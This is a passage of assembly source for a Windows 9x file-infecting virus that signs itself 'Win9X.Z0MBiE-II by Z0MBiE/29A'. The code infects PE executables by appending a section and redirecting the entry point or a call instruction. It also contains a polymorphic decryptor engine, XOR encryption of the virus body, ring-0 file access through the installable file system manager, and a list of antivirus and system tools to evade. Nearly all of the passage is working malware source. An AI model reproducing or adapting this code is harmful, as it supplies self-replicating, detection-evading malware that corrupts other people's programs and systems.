                        mov     ecx, sd_count_size
                        xor     al, al
                        cld
                        rep     stosb

                        lea     ebx, sd_buf x
                        mov     ecx, sd_buf_size
                        xor     eax, eax
__cycle_count:          mov     al, [ebx]
                        inc     ebx
                        inc     sd_count[eax*2] x
                        or      al, al
                        jz      __xxx
                        cmp     sd_count[eax*2] x, 512
                        ja      __bad_buf
__xxx:                  loop    __cycle_count

                        cmp     sd_count[00h*2] x, 256
                        jb      __bad_buf
                        cmp     sd_count[089h*2] x, 30
                        jb      __bad_buf
                        cmp     sd_count[08Bh*2] x, 30
                        jb      __bad_buf
                        cmp     sd_count[0E8h*2] x, 10
                        jb      __bad_buf

                        call    random_ax
                        xchg    edi, eax

                        mov     ecx, sd_buf_size

__find_cycle:           and     edi, sd_buf_size - 1

                        cmp     edi, sd_buf_size - 16
                        jae     __skip_find

                        cmp     word ptr sd_buf[edi+5] x, 0C483h
                        jne     __skip_find

                        cmp     sd_buf[edi] x, 0E8h
                        je      __place_found

__skip_find:
                        inc     edi
                        loop    __find_cycle
                        jmp     __bad_buf

__place_found:          mov     ecx, dword ptr sd_buf[edi+1] x
                        and     ecx, 0FFF80000h
                        jz      __good
                        cmp     ecx, 0FFF80000h
                        jne     __bad_buf

__good:
                        mov     cl, byte ptr sd_buf[edi+3] x
                        and     cl, 1111b

                        call    random_ax
                        and     al, 0F0h

                        or      cl, al

                        mov     eax, esi
                        sub     eax, oeV.oe_phys_offs x
                        add     eax, oeV.oe_virt_rva x
                        add     eax, edi
                        xor     ax, word ptr sd_buf[edi+1] x

                        mov     word ptr sd_buf[edi+3] x, ax
                        mov     word ptr sd_buf[edi] x, 0ffffh

                        mov     sd_buf[edi+2] x, cl

                        call    random_ax
                        mov     word ptr sd_buf[edi+5] x, ax

                        lea     edx, sd_buf x
                        mov     ecx, sd_buf_size
                        mov     ebx, filehandle x
                        call    fwrite

__bad_buf:              add     esi, sd_buf_size

                        pop     ecx
                        jmp     __cycle_sd

__skip_sd:

__method_2_exit:
__set_stamp:
                        add     pe.pe_sizeofinitdata x, vir_size_infile

                        add     pe.pe_stackreservesize x, vir_size_infile*4
                        add     pe.pe_stackcommitsize  x, vir_size_infile*4

                        xor     eax, eax
                        mov     pe.pe_checksum x, eax

                        mov     pe.pe_datetime x, eax

                        lea     edx, pe x
                        mov     ecx, size pe
                        mov     esi, mz.mz_neptr x
                        mov     ebx, filehandle x
                        call    fwrite

__close:                mov     ebx, filehandle x
                        call    fclose

__restattr:             mov     edx, filename_ptr x
                        mov     ecx, dta.dta_fileattr x
                        call    fsetattr

__exit:                 call    xor_copy

                        popa
                        ret

__read_last_sect:       movzx   esi, pe.pe_numofobjects x  ; last section
                        dec     esi
                        imul    esi, size oe_struc
                        add     esi, mz.mz_neptr x
                        add     esi, size pe_struc

                        lea     edx, oeL x
                        mov     ecx, size oe_struc
                        mov     ebx, filehandle x
                        call    fread

                        ret

__filealign:            mov     ebx, pe.pe_filealign x
                        dec     ebx
                        add     eax, ebx
                        not     ebx
                        and     eax, ebx
                        ret

__objectalign:          mov     ebx, pe.pe_objectalign x
                        dec     ebx
                        add     eax, ebx
                        not     ebx
                        and     eax, ebx
                        ret

__method_2:             call    __read_last_sect

                        mov     esi, mz.mz_neptr x
                        add     esi, size pe_struc

                        lea     edx, oe1 x
                        mov     ecx, size oe_struc
                        mov     ebx, filehandle x
                        call    fread

                        movzx   eax, pe.pe_numofobjects x
                        imul    eax, size oe_struc
                        add     esi, eax

                        mov     eax, oe1.oe_phys_offs x
                        sub     eax, esi

                        cmp     eax, size oe_struc
                        jb      __set_stamp

                        mov     eax, dta.dta_filesize x
                        call    __filealign
                        mov     oe1.oe_phys_offs x, eax

                        mov     eax, vir_size_infile
                        call    __filealign
                        mov     oe1.oe_phys_size x, eax

                        mov     eax, oeL.oe_virt_rva x
                        add     eax, oeL.oe_virt_size x
                        call    __objectalign
                        mov     oe1.oe_virt_rva x, eax

                        mov     @@saved_rel x y, eax

                        mov     eax, vir_size_infile
                        call    __objectalign
                        mov     oe1.oe_virt_size x, eax

                        mov     oe1.oe_section_flags x, 60000020h

                        mov     eax, pe.pe_entrypointrva x
                        mov     @@saveeip x y, eax

                        mov     eax, pe.pe_imagebase x
                        mov     @@imagebase x y, eax

                        mov     eax, oe1.oe_virt_rva x
                        add     eax, oe1.oe_virt_size x
                        call    __objectalign
                        mov     pe.pe_imagesize x, eax

                        mov     @@vir_type x y, 2

                        call    poly_engine

                        mov     eax, oe1.oe_virt_rva x
                        add     eax, poly_entrypoint x
                        mov     pe.pe_entrypointrva x, eax

                        inc     pe.pe_numofobjects x

                        lea     edx, oe1 x
                        mov     ecx, size oe_struc
                        mov     ebx, filehandle x
                        call    fwrite

                        lea     edx, poly x
                        mov     ecx, vir_size_infile
                        mov     esi, oe1.oe_phys_offs x
                        mov     ebx, filehandle x
                        call    fwrite

                        lea     edi, poly x
                        mov     ecx, vir_size_infile
                        xor     al, al
                        cld
                        rep     stosb

                        mov     edx, oe1.oe_phys_size x
                        sub     edx, vir_size_infile

__22:                   or      edx, edx
                        jz      __11

                        mov     ecx, edx
                        cmp     ecx, vir_size_infile
                        jbe     __33
                        mov     ecx, vir_size_infile

__33:                   push    edx
                        lea     edx, poly x
                        mov     ebx, filehandle x
                        call    fwrite
                        pop     edx

                        add     esi, ecx
                        sub     edx, ecx

                        jmp     __22
__11:

                        jmp     __method_2_exit

naebka_4:               jnc     naebka_5
naebka_2:               jmp     naebka_3

is_in_list:

__next:                 pusha

                        mov     ecx, short_name_len+short_ext_len

__2:                    mov     al, [esi]
                        mov     ah, [edi]

                        cmp     ah, '?'
                        je      __1
                        cmp     ah, 128
                        jae     __1

                        cmp     al, 'a'
                        jb      __4
                        cmp     al, 'z'
                        ja      __4
                        add     al, 'A'-'a'

__4:                    cmp     al, ah
                        jne     __3             ; nz

__1:                    inc     esi
                        inc     edi
                        loop    __2

                        xor     ecx, ecx        ; zr

__3:                    popa
                        je      __found

                        add     edi, short_name_len+short_ext_len

                        cmp     byte ptr [edi], 0
                        jne     __next

                        clc
                        ret

__found:                stc
                        ret

_strlen:                push    edi
                        mov     ecx, -1
                        xor     al, al
                        cld
                        repnz   scasb
                        neg     ecx
                        dec     ecx
                        dec     ecx
                        pop     edi
                        ret

access_ebx              equ     (dword ptr 16)
access_edx              equ     (dword ptr 20)
access_ecx              equ     (dword ptr 24)
access_eax              equ     (dword ptr 28)

                        ; i: edx=filename
                        ; o: cf, eax=handle
fopen:                  pusha
                        mov     eax, R0_OPENCREATFILE
                        mov     esi, edx
                        mov     bx, 2022h       ; no int 24, denywrite, r/w
                        mov     cx, 32          ; archive (unused here)
                        mov     dx, 01h         ; fail | open
                        VxDcall IFSMGR_Ring0_FileIO
                        mov     [esp].access_eax, eax
                        popa
                        ret

                        ; i: edx=filename
                        ; o: cf, eax=handle
fcreate:                pusha
                        mov     eax, R0_OPENCREATFILE
                        mov     esi, edx
                        mov     bx, 2022h       ; no int 24, denywrite, r/w
                        mov     cx, 32          ; archive
                        mov     dx, 12h         ; create | open/replace
                        VxDcall IFSMGR_Ring0_FileIO
                        mov     [esp].access_eax, eax
                        popa
                        ret

                        ; i: edx=filename
fdelete:                pusha
                        mov     eax, R0_DELETEFILE
                        mov     esi, edx
                        mov     cx, 2027h
                        VxDcall IFSMGR_Ring0_FileIO
                        mov     [esp].access_eax, eax
                        popa
                        ret


                        ; i: ebx=handle
fclose:                 pusha
                        mov     eax, R0_CLOSEFILE
                        VxDcall IFSMGR_Ring0_FileIO
                        popa
                        ret

                        ; i: ebx=handle
                        ;    edx=buffer
                        ;    ecx=size
                        ;    esi=file pos
                        ; o: ecx=bytes read
fread:                  pusha
                        mov     eax, R0_READFILE
                        xchg    edx, esi
                        VxDcall IFSMGR_Ring0_FileIO
                        mov     [esp].access_ecx, ecx
                        popa
                        ret

                        ; i: ebx=handle
                        ;    edx=buffer
                        ;    ecx=size
                        ;    esi=file pos
                        ; o: ecx=bytes written
fwrite:                 pusha
                        mov     eax, R0_WRITEFILE
                        xchg    edx, esi
                        VxDcall IFSMGR_Ring0_FileIO
                        mov     [esp].access_ecx, ecx
                        popa
                        ret

                        ; i: ebx=handle
                        ; o: eax=file size
fgetsize:               pusha
                        mov     eax, R0_GETFILESIZE
                        VxDcall IFSMGR_Ring0_FileIO
                        mov     [esp].access_eax, eax
                        popa
                        ret

                        ; i: edx=filename
                        ; o: ecx=fileattr
;fgetattr:               pusha
;                        mov     eax, R0_FILEATTRIBUTES + GET_ATTRIBUTES
;                        mov     esi, edx
;                        VxDcall IFSMGR_Ring0_FileIO
;                        mov     [esp].access_ecx, ecx
;                        popa
;                        ret

                        ; i: edx=filename
                        ;    ecx=fileattr
fsetattr:               pusha
                        mov     eax, R0_FILEATTRIBUTES + SET_ATTRIBUTES
                        mov     esi, edx
                        VxDcall IFSMGR_Ring0_FileIO
                        popa
                        ret

                        ; i: edx=filemask
                        ;    ecx=attribs
                        ;    esi=find structure
                        ; o: cf, eax=findhandle
ffindfirst:             pusha
                        mov     eax, R0_FINDFIRSTFILE
                        xchg    edx, esi
                        VxDcall IFSMGR_Ring0_FileIO
                        mov     [esp].access_eax, eax
                        popa
                        ret

                        ; i: eax=findhandle
                        ;    esi=find structure
                        ; o: cf
;ffindnext:              pusha
;                        xchg    ebx, eax
;                        mov     eax, R0_FINDFIRSTFILE
;                        mov     edx, esi
;                        VxDcall IFSMGR_Ring0_FileIO
;                        mov     [esp].access_eax, eax
;                        popa
;                        ret

                        ; i: eax=find handle
ffindclose:             pusha
                        xchg    ebx, eax
                        mov     eax, R0_FINDCLOSEFILE
                        VxDcall IFSMGR_Ring0_FileIO
                        popa
                        ret

        IFDEF   DEBUG

debug_beep_FREQ         equ     3300
debug_beep_DELAY        equ     10*65536

debug_beep:             push    eax
                        push    ecx

                        mov     al, 0B6h
                        out     43h, al

                        mov     al, (12345678h/debug_beep_FREQ) and 255
                        out     42h, al
                        mov     al, ((12345678h/debug_beep_FREQ) shr 16) and 255
                        out     42h, al

                        in      al, 61h
                        or      al, 3
                        out     61h, al

                        mov     ecx, debug_beep_DELAY
                        loop    $

                        in      al, 61h
                        and     al, not 3
                        out     61h, al

                        pop     ecx
                        pop     eax
                        ret
        ENDIF

;rnd_eax_ebx:            push    ebx
;                        cmp     eax, ebx
;                        jae     __1
;                        xchg    ebx, eax
;__1:                    sub     eax, ebx
;                        inc     eax
;                        call    rnd_eax
;                        add     eax, ebx
;                        pop     ebx
;                        ret

rnd_eax:                push    ecx
                        push    edx
                        xchg    ecx, eax
                        call    random_eax
                        xor     edx, edx
                        jecxz   __1
                        div     ecx
__1:                    xchg    edx, eax
                        pop     edx
                        pop     ecx
                        ret

eblo                    equ     5051EB10h

random_eax:             call    random_ax
                        rol     eax, 16
                        call    random_ax
                        rol     eax, 11
xor_eblo:               xor     eax, eblo
                        ret

random_ax:              push    bx
                        xor     bx, ax
                        xor     bx, cx
                        xor     bx, dx
                        xor     bx, sp
                        xor     bx, bp
                        xor     bx, si
                        xor     bx, di
                        in      al, 40h
                        xor     bl, al
                        in      al, 40h
                        add     bh, al
                        in      al, 41h
                        sub     bl, al
                        in      al, 41h
                        xor     bh, al
                        in      al, 42h
                        add     bl, al
                        in      al, 42h
                        sub     bh, al
                        xchg    bx, ax
                        pop     bx
                        ret

poly_engine:            pusha

                        call    get_base_ebp

                        ;;

                        lea     edi, poly x
                        cld

                        call    random_eax
                        and     eax, 255
                        add     eax, 100
                        xchg    ecx, eax
__a1:                   call    random_ax
                        stosb
                        loop    __a1

                        ;;

                        lea     eax, poly x
                        sub     eax, edi
                        neg     eax
                        mov     poly_entrypoint x, eax

                        ;;

                        mov     @@kbase x y, vir_size

                        mov     eax, 01010101h
                        mov     dword ptr push_num x, eax
                        mov     dword ptr push_num x + 4, eax

                        ;;

                        mov     edx, 6

__1:                    call    get_rnd_reg
                        xchg    ecx, eax

                        cmp     push_num[ecx] x, 0
                        je      __1

                        mov     al, 0b8h
                        add     al, cl
                        stosb
                        call    random_eax
                        mov     em_eax[ecx*4] x, eax
                        stosd

                        mov     push_num[ecx] x, 0

                        call    poly_out_cmd

                        dec     edx
                        jnz     __1

                        ;;

                        lea     esi, vir_copy x
                        add     esi, vir_size
                        xor     ecx, ecx

__cycle_1:
                        call    poly_out_cmd

                        call    get_rnd_reg
                        xchg    ebx, eax

                        xor     edx, edx

__3:                    cmp     push_num[ebx] x, 0
                        je      __2

                        movzx   eax, regbuf[edx] x
                        inc     edx

                        mov     push_num[eax] x, 0

                        add     al, 50h
                        stosb

                        call    poly_out_cmd

                        jmp     __3

__2:
                        pusha
                        lea     edi, regbuf x
                        lea     esi, [edi+edx]
                        movsd
                        movsd
                        popa
                        sub     ecx, edx


                        sub     esi, 4
                        mov     edx, [esi]

                        call    random_eax

                        and     eax, 3
                        jz      __x0
                        dec     eax
                        jz      __x1
                        dec     eax
                        jz      __x2

__x3:                   call    poly_push_all

                        mov     al, 68h
                        stosb
                        xchg    edx, eax
                        stosd

                        jmp     __yy

__x2:                   xor     edx, em_eax[ebx*4] x
                        mov     ax, 0F081h
                        xor     em_eax[ebx*4] x, edx

                        jmp     __xx

__x1:                   sub     edx, em_eax[ebx*4] x
                        mov     ax, 0C081h
                        add     em_eax[ebx*4] x, edx

                        jmp     __xx

__x0:                   sub     edx, em_eax[ebx*4] x
                        neg     edx
                        mov     ax, 0E881h
                        sub     em_eax[ebx*4] x, edx

__xx:                   add     ah, bl
                        stosw
                        xchg    edx, eax
                        stosd

                        mov     regbuf[ecx] x, bl
                        inc     ecx

                        mov     push_num[ebx] x, 1

__yy:                   lea     eax, vir_copy x
                        cmp     esi, eax
                        jne     __cycle_1

                        call    poly_push_all

                        ;;

                        call    poly_out_cmd

                        ;;

                        mov     ax, 0E4FFh  ; jmp esp
                        stosw

                        lea     ecx, poly x
                        add     ecx, vir_size_infile
                        sub     ecx, edi
__a2:                   call    random_ax
                        stosb
                        loop    __a2

                        ;;

                        popa
                        ret

xor_copy:               lea     esi, vir_copy x
                        mov     ecx, vir_size
__1:                    xor     byte ptr [esi], cl
                        inc     esi
                        loop    __1
                        ret

poly_push_all:          xor     ebx, ebx

__2:                    cmp     ebx, ecx
                        je      __1

                        movzx   eax, regbuf[ebx] x
                        inc     ebx

                        mov     push_num[eax] x, 0

                        add     al, 50h
                        stosb

                        jmp     __2

__1:                    xor     ecx, ecx

                        ret

get_rnd_reg:            call    random_eax
                        and     eax, 7
                        cmp     al, 4           ; esp
                        je      get_rnd_reg
                        cmp     al, 5           ; ebp
                        je      get_rnd_reg
                        ret

naebka_8:               call    naebka_1
                        jc      naebka_5
                        jmp     replace_buf

poly_out_cmd:           push    eax ebx ecx edx  esi

                        cmp     dword ptr push_num x, 01010101h
                        jne     __1
                        cmp     word ptr push_num x + 4 + 2, 0101h
                        je      __ret

__1:                    call    get_rnd_reg
                        cmp     push_num[eax] x, 0
                        jne     __1
                        mov     reg1 x, eax
                        xchg    ecx, eax

__2:                    call    get_rnd_reg
                        cmp     push_num[eax] x, 0
                        jne     __2
                        mov     reg2 x, eax
                        xchg    edx, eax

__rand:                 call    random_eax
                        and     eax, 31

                        or      eax, eax
                        jz      __x_0
                        dec     eax
                        jz      __x_1

                        jmp     __opt1

__x_x_x:

__ret:

                        pop     esi  edx ecx ebx eax

                        ret


__x_0:                  cmp     ecx, edx        ; mov r1, r2
                        je      __rand

                        mov     eax, em_eax[edx*4] x
                        mov     em_eax[ecx*4] x, eax

                        mov     al, 89h

__stosb:
                        stosb

                        mov     al, dl
                        shl     al, 3
                        or      al, cl
                        or      al, 0c0h
                        stosb

                        jmp     __x_x_x


__x_1:                                          ; xor r1, r2
                        mov     eax, em_eax[edx*4] x
                        xor     em_eax[ecx*4] x, eax

                        mov     al, 31h
                        jmp     __stosb

__x_2:                                          ; add r1, r2
                        mov     eax, em_eax[edx*4] x
                        add     em_eax[ecx*4] x, eax

                        mov     al, 01h
                        jmp     __stosb

__x_3:                                          ; sub r1, r2
                        mov     eax, em_eax[edx*4] x
                        sub     em_eax[ecx*4] x, eax

                        mov     al, 29h
                        jmp     __stosb

__x_4:                                             ; not r1
                        not     em_eax[ecx*4] x

                        mov     ax, 0d0f7h

__orahclstosb:
                        or      ah, cl
                        stosw

                        jmp     __x_x_x


__opt1:                 dec     eax
                        jz      __x_2
                        dec     eax
                        jz      __x_3
                        dec     eax
                        jz      __x_4

                        dec     eax
                        jz      __x_5
                        dec     eax
                        jz      __x_6
                        dec     eax
                        jz      __x_7
                        dec     eax
                        jz      __x_8

                        jmp     __opt2

__x_5:                                             ; neg r1

                        neg     em_eax[ecx*4] x

                        mov     ax, 0d8f7h

                        jmp     __orahclstosb

__x_6:
                                                   ; shl r1, 1
                        shl     em_eax[ecx*4] x, 1

                        mov     ax, 0e0d1h
                        jmp     __orahclstosb

__x_7:                                             ; shr r1, 1

                        shr     em_eax[ecx*4] x, 1

                        mov     ax, 0e8d1h
                        jmp     __orahclstosb


__x_8:                                             ; rol r1, 1
                        rol     em_eax[ecx*4] x, 1

                        mov     ax, 0c0d1h
                        jmp     __orahclstosb



__x_9:                                             ; ror r1, 1
                        ror     em_eax[ecx*4] x, 1

                        mov     ax, 0c8d1h
                        jmp     __orahclstosb

__x_10:                                            ; sar r1, 1
                        sar     em_eax[ecx*4] x, 1

                        mov     ax, 0f8d1h
                        jmp     __orahclstosb

__x_11:                                            ; xchg r1, r2
                        mov     eax, em_eax[edx*4] x
                        xchg    em_eax[ecx*4] x, eax
                        mov     em_eax[edx*4] x, eax

                        mov     al, 87h
                        jmp     __stosb

__x_12:                                         ; and r1, r2
                        mov     eax, em_eax[edx*4] x
                        and     em_eax[ecx*4] x, eax

                        mov     al, 21h
                        jmp     __stosb

__opt2:                 dec     eax
                        jz      __x_9
                        dec     eax
                        jz      __x_10
                        dec     eax
                        jz      __x_11
                        dec     eax
                        jz      __x_12

                        dec     eax
                        jz      __x_13
                        dec     eax
                        jz      __x_14
                        dec     eax
                        jz      __x_15

__x_x:                  jmp     __x_x_x

__x_13:                                         ; or r1, r2
                        mov     eax, em_eax[edx*4] x
                        or      em_eax[ecx*4] x, eax

                        mov     al, 09h
                        jmp     __stosb

__x_14:                                         ; inc r1

                        inc     em_eax[ecx*4] x

                        mov     al, 40h

__oralclstosb:          or      al, cl
                        stosb

                        jmp     __x_x

__x_15:                                         ; dec r1

                        dec     em_eax[ecx*4] x

                        mov     al, 48h

                        jmp     __oralclstosb

replace_proc:           pusha
                        call    get_base_ebp
                        cld

                        mov     ebx, replace_buf_ptr x y
                        cmp     ebx, replace_buf_size - 16
                        ja      __exit
                        lea     eax, replace_buf x y
                        add     ebx, eax

                        mov     eax, replace_end - replace_start - 32
                        call    rnd_eax
                        lea     esi, replace_start[eax] x y

                        mov     ecx, 16

__1:                    lodsb

                        cmp     al, 0E9h
                        je      __2
                        cmp     al, 0E8h
                        je      __2

                        loop    __1
                        jmp     __exit

__2:                    lodsd
                        lea     edx, [eax+esi]

                        lea     ecx, replace_start x y
                        cmp     edx, ecx
                        jb      __exit
                        lea     ecx, replace_end   x y - 32
                        cmp     edx, ecx
                        ja      __exit

                        mov     eax, ebx
                        sub     eax, esi
                        mov     [esi-5].dword ptr 1, eax

                        mov     [ebx].byte ptr 0, 0E9h
                        lea     eax, [ebx+5]
                        sub     edx, eax
                        mov     [ebx].dword ptr 1, edx

                        add     replace_buf_ptr x y, 5

__exit:                 popa
                        ret

naebka_9:               jmp     naebka_8

replace_buf_size        equ     1024
replace_buf:            db      replace_buf_size dup (90h)

replace_end:

replace_buf_ptr         dd      0

go_old_ifs_handler:     db      0b8h
oldhandler_ptr_ptr      dd      ?
                        jmp     [eax]


go_prev_fault:          db      68h
fault_previous          dd      ?
                        ret

naebka_7:               jmp     naebka_9

                                ;1234567890123
kewl_names:             db      'COMMAND??????'
                        db      0

suck_names:             db      'AVP??привет??'
                        db      'WEB??всем????'
                        db      'DRW??вирмэйке'
                        db      'DSAV?????рам?'
                        db      'NOD???????EXE'
                        db      'NOD???????00?'
                        db      '??????????AVC'
                        db      '??????????VDB'
                        db      'WINICE    ???'
                        db      'FORMAT    COM'
                        db      'FDISK     EXE'
                        db      'SCANDSKW  EXE'
                        db      'DEFRAG    EXE'
                        db      0

@@vir_type              db      0            ; 1/2
@@is_dll                db      0

@@imagebase             dd      ?            ; saved
@@vir_offset            dd      ?            ; offset of virus in file
@@vir_rva               dd      ?            ; virus rva in file
@@saveeip               dd      ?            ; saved entrypoint rva
@@orig_offs             dd      ?            ; where original data stored in file
@@orig_rva              dd      ?
@@codesect_pageaddr12   dd      ?
@@codesect_pagecount    dd      ?
@@codesect_flags        dd      ?
@@decr_key              dd      ?
@@saved_rel             dd      ?

 db 13,10
 db 'Win9X.Z0MBiE-II  by Z0MBiE/29A  X-)  Seek&Enjoy!  z0mbie_29a@yahoo.com',13,10
 db 'made in Moscow, Russia',13,10

 db '[S/N:'

gen_number              macro   x
                        i       = 10000
                        k       = 5
                        j       = 0
                        rept    k
                        if      ((x / i) mod 10) ne 0
                        exitm
                        endif
                        j       = j + 1
                        i       = i / 10
                        endm
                        rept    k-j
                        db      ((x / i) mod 10) + '0'
                        i       = i / 10
                        endm
                        endm

 gen_number vir_size
 db '-'
 gen_number vir_size_infile
 db '-'
 gen_number vir_memory
 db '-'
 gen_number virPages

        IFDEF   DEBUG
 db '-DEBUG'
        ENDIF
 db ']'
 db 13,10

                        align   4
end_of_code:
vir_size                equ     end_of_code-start

entered                 db      ?

r0_idt                  df      ?

kernel_base             dd      ?

filename_ptr            dd      ?

filename_size           equ     260
filename                db      filename_size dup (?)

short_name_len          equ     10
short_ext_len           equ     3
shortname               db      short_name_len+short_ext_len dup (?)

filehandle              dd      ?

dta                     dta_struc ?

mz                      mz_struc ?
pe                      pe_struc ?

oe1                     oe_struc ?
oeV_ptr                 dd      ?
oeV                     oe_struc ?
oeL                     oe_struc ?

vir_copy                db      vir_size dup (?)

sd_count                dw      256 dup (?)
sd_count_size           equ     $-sd_count

poly_entrypoint         dd      ?

sd_buf_size             equ     4096
sd_buf_size_log2        equ     12

sd_buf                  label   byte
orig_bytes              label   byte
unp_dropper             label   byte

poly                    db      vir_size_infile dup (?)

em_eax                  dd      ?
em_ecx                  dd      ?
em_edx                  dd      ?
em_ebx                  dd      ?
em_esp                  dd      ?
em_ebp                  dd      ?
em_esi                  dd      ?
em_edi                  dd      ?

push_num                db      8 dup (?)

reg1                    dd      ?
reg2                    dd      ?

regbuf                  db      16 dup (?)

vir_memory              equ     $-start
virPages                equ     (vir_memory + 4095) / 4096

                        end     start

